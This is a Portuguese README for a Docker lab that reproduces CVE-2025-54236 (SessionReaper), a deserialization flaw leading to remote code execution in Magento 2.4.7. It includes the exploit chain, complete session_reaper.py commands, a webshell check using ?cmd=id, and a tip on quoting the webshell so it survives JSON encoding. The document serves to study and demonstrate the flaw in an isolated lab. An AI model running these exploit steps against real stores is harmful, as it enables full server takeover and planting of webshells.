
Ambiente Docker para demonstração prática da CVE-2025-54236 (SessionReaper): PHP Object Deserialization levando a RCE em Magento Open Source 2.4.7
Ambiente Docker para demonstração prática da CVE-2025-54236 (SessionReaper): PHP Object Deserialization levando a RCE em Magento Open Source 2.4.7.
Uso exclusivo em ambiente controlado. Não execute contra sistemas sem autorização explícita.
CVE-2025-54236 afeta Magento Open Source e Adobe Commerce até a versão 2.4.7. O método ServiceInputProcessor::getConstructorData() aceita parâmetros aninhados via JSON que permitem sobrescrever session.save_path - a pasta onde o PHP armazena os arquivos de sessão.
Cadeia de exploração:
Guzzle/FW1 via phpggc) é enviado via /customer/address_file/upload, que o salva em pub/media/customer_address/s/e/sess_<id>.{"session": {"save_path": "/var/www/html/pub/media/customer_address/s/e/"}} como parâmetro de construtor.session_start() com o PHPSESSID fabricado, deserializa o gadget chain e escreve um webshell em pub/errors/.Pré-requisito: sessões PHP configuradas como file-based (não Redis/Memcached).
magento/
├── lab-magento/ # Docker lab (Magento 2.4.7 vulnerável)
│ ├── Dockerfile # PHP 8.2-FPM com extensões Magento
│ ├── docker-compose.yml # Stack: PHP-FPM, Nginx, MySQL 8, ES 7, Redis
│ ├── .env # Configurações do ambiente
│ ├── conf/
│ │ ├── nginx/ # VirtualHost nginx
│ │ └── php/magento.ini # Sessões file-based, memory_limit=2G
│ └── scripts/
│ ├── 01-install.sh # Instalação completa do zero
│ └── 02-demo-setup.sh # Prepara produto, payload e imprime instruções
├── SessionReaper-CVE-2025-54236/
│ └── session_reaper.py # PoC principal (autor: alexb616)
└── payloads/
├── shell.php # Webshell com aspas simples (evita escape JSON)
└── sess_payload.bin # Gadget chain serializada (gerado pelo script)
docker compose)ambionics/phpggc disponívelsession_reaper.py busca o binário em: PATH do sistema, ~/phpggc/phpggc, /opt/phpggc/phpggc e, como fallback, puxa a imagem Docker ambionics/phpggc automaticamenterequests (pip install requests)sudo sysctl -w vm.max_map_count=262144 para o Elasticsearch)cd lab-magento
# 1. Instalar Magento 2.4.7 do zero (~25 minutos)
bash scripts/install.sh
O install.sh faz:
composer install --no-devsetup:install com sessões file-baseddefault (não developer - evita que warnings PHP 8.2 virem exceções)setup:static-content:deploywww-data em todos os estágiosApós a instalação, do diretório raiz (/magento/):
python3 SessionReaper-CVE-2025-54236/session_reaper.py \
--host http://localhost:8080 \
--method order \
--payload-in lab-magento/payloads/shell.php \
--payload-out /var/www/html/pub/errors/cve_lab.php \
--save-path /var/www/html/pub/media/customer_address/s/e/ \
--no-proxy
Verificar RCE:
curl "http://localhost:8080/errors/cve_lab.php?cmd=id"
# Saída esperada: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Método alternativo (vetor address, com produto real):
python3 SessionReaper-CVE-2025-54236/session_reaper.py \
--host http://localhost:8080 \
--method address \
--sku DEMO-001 \
--payload-in lab-magento/payloads/shell.php \
--payload-out /var/www/html/pub/errors/cve_lab.php \
--save-path /var/www/html/pub/media/customer_address/s/e/ \
--no-proxy
| Serviço | URL / Host | Credencial |
|---|---|---|
| Loja Magento | http://localhost:8080/ | - |
| Admin Magento | http://localhost:8080/admin/ | admin / Admin123! |
| MySQL | localhost:3306 | magento / magento |
| Elasticsearch | localhost:9200 | - |
A URI do admin é gerada aleatoriamente na instalação. Para encontrá-la:
docker exec lab_magento_php bash -c "cd /var/www/html && php bin/magento info:adminuri"
# Sessões criadas pelo exploit
docker exec lab_magento_php ls -la /var/www/html/var/session/
# Arquivo de sessão malicioso em media/
docker exec lab_magento_php find /var/www/html/pub/media/customer_address/ -type f
# Logs em tempo real
docker logs lab_magento_nginx -f
docker logs lab_magento_php -f
# Remover webshell
docker exec lab_magento_php rm -f /var/www/html/pub/errors/cve_lab.php
# Parar containers
docker compose -f lab-magento/docker-compose.yml down
# Destruir tudo (containers + volumes)
docker compose -f lab-magento/docker-compose.yml down -v
Por que aspas simples no webshell?
O phpggc Guzzle/FW1 serializa o payload como JSON: [{"Expires":1,"Discard":false,"Value":"PAYLOAD\n"}]. O conteúdo do PHP é JSON-encoded, então " vira \". Usar $_GET["cmd"] resultaria em $_GET[\"cmd\"] - parse error do PHP. A solução é escrever o webshell com aspas simples: $_GET['cmd'].
Por que modo default e não developer?
O Magento em modo developer converte todos os PHP warnings em exceções. O PHP 8.2 emite Warning: Trying to access array offset on null em lib/internal/Magento/Framework/View/Element/Html/Calendar.php:114, que vira uma exceção 500 no admin. Em modo default o warning é ignorado.
Por que os arquivos ficam em s/e/?
O Magento organiza uploads de endereço em pub/media/customer_address/{1º char}/{2º char}/filename. Para arquivos sess_*, o primeiro caractere é s e o segundo é e, resultando sempre em pub/media/customer_address/s/e/.